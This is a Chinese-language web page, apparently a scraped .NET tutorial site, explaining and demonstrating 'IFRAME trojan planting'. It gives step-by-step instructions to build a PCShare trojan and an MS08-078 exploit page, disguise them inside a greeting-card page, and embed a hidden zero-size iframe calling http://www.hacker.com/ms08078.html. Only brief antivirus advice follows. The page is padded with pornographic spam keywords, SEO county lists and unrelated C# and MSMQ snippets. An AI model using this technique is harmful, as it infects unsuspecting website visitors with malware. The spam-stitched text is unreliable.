国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > .NET > 正文

.Net基礎之了解ASP.NET中的IFRAME框架掛馬_.Net教程

2024-07-10 12:51:10
字體:
來源:轉載
供稿:網友

推薦:解讀C#中對DatagridView的部分常用操作
dbfC#DataGridView中的常用技巧 只列出技巧部分,后面會有補充 0(最基本的技巧). 獲取某列中的某行(某單元格)中的內容 this.currentposition = this.dataGridView1.BindingContext [this.dataGridView1.DataSource, this.dataGridView1.DataMember].Position;

什么是IFRAME框架掛馬

網頁掛馬到如今已經發展出許多方法與應用手段,其中IFRAME網頁框架掛馬是最典型的掛馬方式,也是最基本的掛馬方式,可以說沒有IFRAME,網頁木馬中有一多半就無法很好地隱藏,讓用戶在不察覺中受到攻擊。

什么是IFRAME?IFRAME是一個非常普通的HTML語言標記,它主要用來在一個網頁界面中,劃分出左右或者上下的框架,就如同我們電視機的畫中畫效果一樣。圖2中的山寨搜索引擎的界面就是典型的IFRAME的引用。

但是IFRAME功能也被黑客巧妙地利用了,黑客在一些看似正常的網頁中,使用長寬為0的隱藏框架,讓用戶在不知不覺中打開含有漏洞溢出內容的網頁木馬,這種手法就如同在畫中畫電視中打開了一個收費頻道,但是由于收費頻道的畫面尺寸被惡意修改成了0,所以看電視的人并不知道自己已經打開了收費頻道,雖然他并沒有看到,但是事實上收費頻道卻的確在播放,而且會收取用戶的使用費。

IFRAME框架掛馬實戰

下面我們來做個演示,看看IFRAME框架掛馬到底是怎么做的。

第一步:準備一款得心應手的木馬,例如PCShare,這款軟件在設置上非常簡單,易于操作上手。設置好相關服務,最后生成木馬所用的服務控制端。

第二步:使用FTP將木馬上傳到自己的網站空間中,并用記事本記錄下木馬的網絡路徑。然后再用《MS08-078網頁木馬生成器》,生成一個帶有MS08-078漏洞的惡意網頁。找一個正常的新年賀卡網頁,將該網頁保存到自己指定的目錄中,然后使用Web Designer或Dreamweaver網頁編輯軟件對保存的網頁進行調整修改,然后上傳到自己的網站空間中,看圖片等內容是否能夠正常顯示。

第三步:再一次打開修改好的賀卡網頁,使用IFRAME標記語句,將生成好的MS08-078網頁嵌入到賀卡網頁中,嵌入掛馬代碼如下: <iframe src=http://www.hacker.com/ms08078.html width=0 height=0></iframe>
將這段代碼拔出到賀卡網頁之中后,就完成了我們的網頁掛馬操作。瀏覽賀卡網頁的用戶,在看到賀卡頁面之后,也隨之運行了保存在指定位置“http://www.hacker.com/ms08078.html”的漏洞溢出頁面,但是由于它的長和寬都為“0”,觀看賀卡網站的用戶不會看到溢出頁面。
對于IFRAME標記這種利用正常HTML語言功能實現隱藏的掛馬方式,目前并沒有好的防范方法,因為它是正常的網頁功能。大家只能夠寄希望于殺毒軟件和防掛馬軟件阻止利用IFRAME標記內嵌的溢出病毒網頁。我們建議在安裝殺毒軟件之后,能夠安裝第三方防掛馬軟件作為補充,例如銳甲、360等。 chinaitlab

 

分享:怎樣實現MSMQ的消息加密
消息加密的工作原理 消息應用程序發送方對消息進行加密后發送到目標計算機的消息隊列中,然后由目標計算機上的應用程序接收消息隊列中的消息進行解密。消息加密旨在防止在傳輸過程中有人未經授權查看消息。 使用消息加密會降低性能,不過這沒有使用消息驗證

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 盱眙县| 金川县| 恩平市| 余江县| 潍坊市| 盐亭县| 四川省| 锡林浩特市| 鄄城县| 屯留县| 龙游县| 逊克县| 水富县| 靖安县| 盐亭县| 沾益县| 靖远县| 平乡县| 施甸县| 东海县| 陇南市| 延津县| 晋中市| 防城港市| 临汾市| 古浪县| 莱西市| 延安市| 安仁县| 利辛县| 五大连池市| 怀来县| 大同市| 新郑市| 偃师市| 乡宁县| 楚雄市| 柯坪县| 榆树市| 伊川县| 井冈山市|